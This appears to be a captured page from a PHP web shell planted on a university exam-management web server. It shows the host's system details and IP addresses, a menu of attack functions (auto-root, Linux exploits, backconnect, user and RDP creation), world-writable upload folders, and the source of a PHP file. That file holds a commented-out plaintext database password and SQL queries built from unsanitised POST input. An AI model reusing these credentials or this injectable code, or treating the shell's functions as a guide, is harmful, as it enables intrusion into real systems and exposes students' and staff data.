Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.145.54.210
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
bcu /
[ HOME SHELL ]
Name
Size
Permission
Action
admupload
[ DIR ]
drwxrwxrwx
docs
[ DIR ]
drwxr-sr-x
halltickets
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxr-sr-x
img
[ DIR ]
drwxr-sr-x
imported_files
[ DIR ]
drwxrwxrwx
misc_files
[ DIR ]
drwxrwsrwx
notifications
[ DIR ]
drwxrwxrwx
stud_name_uploads
[ DIR ]
drwxrwxrwx
student_photos
[ DIR ]
drwxrwxrwx
study_material
[ DIR ]
drwxrwxrwx
teacher_photos
[ DIR ]
drwxrwxrwx
tmpcnvphotos
[ DIR ]
drwxrwsr-x
tmpphotos
[ DIR ]
drwxrwxrwx
upload
[ DIR ]
drwxrwxrwx
33301.pdf
1.13
MB
-rw-r--r--
34301.pdf
1022.21
KB
-rw-r--r--
60865.pdf
234.9
KB
-rw-rw-r--
60887.pdf
219.98
KB
-rw-rw-r--
60887_new.pdf
391.85
KB
-rw-rw-r--
MainPage.html
22
KB
-rwxr-xr-x
collegeInfoPopup.html
4.35
KB
-rwxr-xr-x
docverify.php
824
B
-rw-rw-r--
flash.html
2.23
KB
-rwxr-xr-x
forgotpassword.html
3.38
KB
-rwxr-xr-x
getAppdet.php
8.01
KB
-rw-rw-r--
getQPdet.php
5.37
KB
-rw-rw-r--
getQPdet1.php
5.34
KB
-rw-rw-r--
homepage.html
3.35
KB
-rwxr-xr-x
index.html
6.24
KB
-rwxr-xr-x
indexlogin.html
6.18
KB
-rwxr-xr-x
mcverify.php
181
B
-rw-rw-r--
oasis_manual.pdf
45.8
KB
-rwxr-xr-x
pgadm.php
13.76
KB
-rw-rw-r--
valdet.php
9.19
KB
-rw-rw-r--
valdet1.php
9.19
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : getQPdet1.php
<?php include("/var/www/config.php"); // $servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com"; // $username = "admin"; // $password = "Logisys2104"; $servername = SERVERNAME; $username = USERNAME; $password = PASSWORD; $conn = new mysqli($servername,$username,$password); if(!$conn) { die("Connection failed: " . mysqli_connect_error()); } $db = "logisys3_bcu"; $fdeggrp = $_POST['fdeggrp']; $type = $_POST['type']; $sem = $_POST['sem']; if($type != 'board') $fboard = $_POST['fboard']; if($type == 'board') { $Query = "select distinct m.fboardcode, m.fboardname FROM {$db}.masboard m inner join {$db}.masqp q on q.fboard = m.fboardcode inner join {$db}.subject s on q.fqpcode = s.fqpcode where fdeggrp = '{$fdeggrp}' and fvalcntr = 'cntr1'"; $result = mysqli_query($conn, $Query); $i=0; while($row = mysqli_fetch_assoc($result)) { $row1[$i] = $row; $i++; } echo json_encode($row1); return; } else { //mid(fqpcode,3,1) $cnd = "and m.fexamno = '{$sem}'"; if($sem == 'all') { $cnd = ""; } $cnd2 = " and m.fboard = '{$fboard}'"; if($fboard == 'all') { $cnd2 = ""; } $Query = "select m.fexamno as fsem, m.fqpcode, m.fsubname, ifnull(fspresent,0) as fspresent, ifnull(fapresent,0) as fapresent, ifnull(fcodecount,0) as fcodecount, ifnull(ftotpkt1,0) as ftotpkt1, ifnull(fvalpkt1,0) as fvalpkt1, ifnull(ftotpkt2,0) as ftotpkt2, ifnull(fvalpkt2,0) as fvalpkt2 from {$db}.masqp m inner join {$db}.subject s on m.fqpcode = s.fqpcode where fdeggrp = '{$fdeggrp}' and s.fvalcntr = 'cntr1' {$cnd2} {$cnd}"; $result = mysqli_query($conn, $Query); $i = 1; $html = "<tr class='bg-green'> <th width='4%'><center>Sl. No.</center></th> <th width='3%'><center>Sem.</center></th> <th width='5%'><center>QP <br> Code</center></th> <th width='30%'><center>Subject Name</center></th> <th width='5%'><center>Scripts <br> Recd.</center></th> <th width='5%'><center>Scripts <br> Counted</center></th> <th width='5%'><center>Scripts <br> Coded</center></th>"; if($fdeggrp == 'PG') { $html .= "<th width='5%'><center>Coding <br> Pending</center></th> <th width='5%'><center>1st Val. <br> Count</center></th> <th width='5%'><center>1st Val. <br> Valued</center></th> <th width='5%'><center>1st Val. <br> Pending</center></th> <th width='5%'><center>2nd. Val. <br> Count</center></th> <th width='5%'><center>2nd Val. <br> Valued</center></th> <th width='5%'><center>2nd. Val. <br> Pending</center></th>"; }else { $html .= "<th width='5%'><center>Coding <br> Pending</center></th> <th width='5%'><center>Packets <br> Count</center></th> <th width='5%'><center>Packets <br> Valued</center></th> <th width='5%'><center>Valuation <br> Pending</center></th>"; } $html .="</tr>"; while($row = mysqli_fetch_assoc($result)) { $codepend = $row['fapresent'] - $row['fcodecount']; $valpend1 = $row['ftotpkt1'] - $row['fvalpkt1']; $valpend2 = $row['ftotpkt2'] - $row['fvalpkt2']; if($codepend < 0) $codepend = 0; if($valpend1 < 0) $valpend1 = 0; if($valpend2 < 0) $valpend2 = 0; $html .= "<tr> <td><center>{$i}</center></td> <td><center>{$row['fsem']}</center></td> <td><center>{$row['fqpcode']}</center></td> <td>{$row['fsubname']}</td> <td style='text-align:center'>".moneyFormatIndia($row['fspresent'])."</td> <td style='text-align:center'>".moneyFormatIndia($row['fapresent'])."</td> <td style='text-align:center'>".moneyFormatIndia($row['fcodecount'])."</td> <td style='text-align:center'>".moneyFormatIndia($codepend)."</td>"; if($fdeggrp == 'PG') { $html .="<td style='text-align:center'>".moneyFormatIndia($row['ftotpkt1'])."</td> <td style='text-align:center'>".moneyFormatIndia($row['fvalpkt1'])."</td> <td style='text-align:center'>".moneyFormatIndia($valpend1)."</td> <td style='text-align:center'>".moneyFormatIndia($row['ftotpkt2'])."</td> <td style='text-align:center'>".moneyFormatIndia($row['fvalpkt2'])."</td> <td style='text-align:center'>".moneyFormatIndia($valpend2)."</td>"; }else { $html .="<td style='text-align:center'>".moneyFormatIndia($row['ftotpkt1'])."</td> <td style='text-align:center'>".moneyFormatIndia($row['fvalpkt1'])."</td> <td style='text-align:center'>".moneyFormatIndia($valpend1)."</td>"; } $html .="</tr>"; $i++; } echo $html; } function moneyFormatIndia($num) { $explrestunits = "" ; if(strlen($num)>3) { $lastthree = substr($num, strlen($num)-3, strlen($num)); $restunits = substr($num, 0, strlen($num)-3); // extracts the last three digits $restunits = (strlen($restunits)%2 == 1)?"0".$restunits:$restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping. $expunit = str_split($restunits, 2); for($i=0; $i<sizeof($expunit); $i++) { // creates each of the 2's group and adds a comma to the end if($i==0) { $explrestunits .= (int)$expunit[$i].","; // if is first value , convert into integer } else { $explrestunits .= $expunit[$i].","; } } $thecash = $explrestunits.$lastthree; } else { $thecash = $num; } return $thecash; // writes the final format where $currency is the currency symbol. } ?>
Close